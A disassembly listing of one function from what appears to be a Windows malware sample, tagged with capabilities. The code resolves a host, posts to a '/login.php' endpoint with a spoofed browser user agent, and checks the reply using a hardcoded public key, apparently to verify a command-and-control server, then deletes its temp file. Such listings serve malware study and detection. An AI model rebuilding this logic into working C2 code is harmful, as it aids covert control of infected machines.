Function at 0x100063b0
Capabilities:
Check if file exists
Delete file
Get common file path
Resolve dns
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x22f]
push 0
push eax
mov dword [ebp - 4], 0
mov byte [ebp - 0x230], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [str._verif]
mov dx, word [0x10045f88]
mov al, byte [0x10045f8a]
add esp, 0xc
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
mov byte [ebp - 6], al
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006708
lea ecx, [ebp - 0x338]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x128]
push edx
push 0
push 0
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006444
sub eax, edx
mov ebx, eax
call fcn.10001720
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10006462
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
push 0
push 1
push ebx
lea ecx, [ebp - 0xc]
push ecx
push 0
push esi
lea edx, [ebp - 0x128]
push edx
push str._login.php
push 0
mov eax, edi
call fcn.10014680
test eax, eax
jne 0x100064af
push eax
push 1
push ebx
lea eax, [ebp - 0xc]
push eax
push 0
push esi
lea ecx, [ebp - 0x128]
push ecx
push str._login.php
push 1
mov eax, edi
call fcn.10014680
test eax, eax
je 0x10006708
mov edi, 1
push edi
push 0
lea eax, [ebp - 0x128]
call fcn.10007220
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10006708
mov esi, dword [sym.imp.MSVCRT.dll_calloc]
push 0xc
push edi
call esi
mov ebx, eax
add esp, 8
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x100064eb
push edi
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push edi
call esi
add esp, 8
test eax, eax
jne 0x100064fe
push edi
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [ebx], eax
mov dword [eax], 0
push 0xc
push edi
mov dword [ebx + 4], 0
mov dword [ebx + 8], edi
mov dword [ebp - 0x1c], ebx
call esi
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x10006528
push edi
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push edi
call esi
add esp, 8
test eax, eax
jne 0x1000653b
push edi
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [ebx], eax
mov dword [eax], 0
push 0xc
push edi
mov dword [ebx + 4], 0
mov dword [ebx + 8], edi
mov dword [ebp - 0x14], ebx
call esi
mov edi, eax
add esp, 8
test edi, edi
jne 0x10006566
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call esi
add esp, 8
test eax, eax
jne 0x1000657b
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [edi], eax
mov dword [eax], 0
push 0xc
push 1
mov dword [edi + 4], 0
mov dword [edi + 8], 1
mov dword [ebp - 0x18], edi
call esi
mov esi, eax
add esp, 8
test esi, esi
jne 0x100065ab
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call dword [sym.imp.MSVCRT.dll_calloc]
add esp, 8
test eax, eax
jne 0x100065c4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [esi], eax
mov dword [eax], 0
push str.6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9
mov eax, edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
mov dword [ebp - 0x20], esi
call fcn.10001ac0
push str.10001
mov eax, esi
call fcn.10001ac0
mov edx, dword [ebp - 0x10]
push edx
mov eax, ebx
call fcn.10001ac0
push edi
push esi
mov esi, dword [ebp - 4]
push ebx
push esi
call fcn.10001b30
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x230]
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x10006617
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.MSVCRT.dll__strrev]
lea eax, [ebp - 0x230]
add esp, 4
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006640
sub eax, edx
mov edx, dword [esi]
mov ecx, eax
lea esi, [ebp - 0x230]
cmp ecx, 4
jb 0x1000666c
mov eax, dword [esi]
cmp eax, dword [edx]
jne 0x10006670
sub ecx, 4
add edx, 4
add esi, 4
cmp ecx, 4
jae 0x10006658
test ecx, ecx
je 0x100066b3
movzx edi, byte [edx]
movzx eax, byte [esi]
sub eax, edi
jne 0x100066ab
cmp ecx, 1
jbe 0x100066b3
movzx eax, byte [esi + 1]
movzx edi, byte [edx + 1]
sub eax, edi
jne 0x100066ab
cmp ecx, 2
jbe 0x100066b3
movzx eax, byte [esi + 2]
movzx edi, byte [edx + 2]
sub eax, edi
jne 0x100066ab
cmp ecx, 3
jbe 0x100066b3
movzx eax, byte [esi + 3]
movzx ecx, byte [edx + 3]
sub eax, ecx
sar eax, 0x1f
or eax, 1
jmp 0x100066b5
xor eax, eax
xor edx, edx
test eax, eax
sete dl
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 4], edx
call fcn.10001970
lea ecx, [ebp - 0x18]
push ecx
call fcn.10001970
lea edx, [ebp - 0x14]
push edx
call fcn.10001970
lea eax, [ebp - 0x1c]
push eax
call fcn.10001970
mov edi, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10006708
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10006735
push 0
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4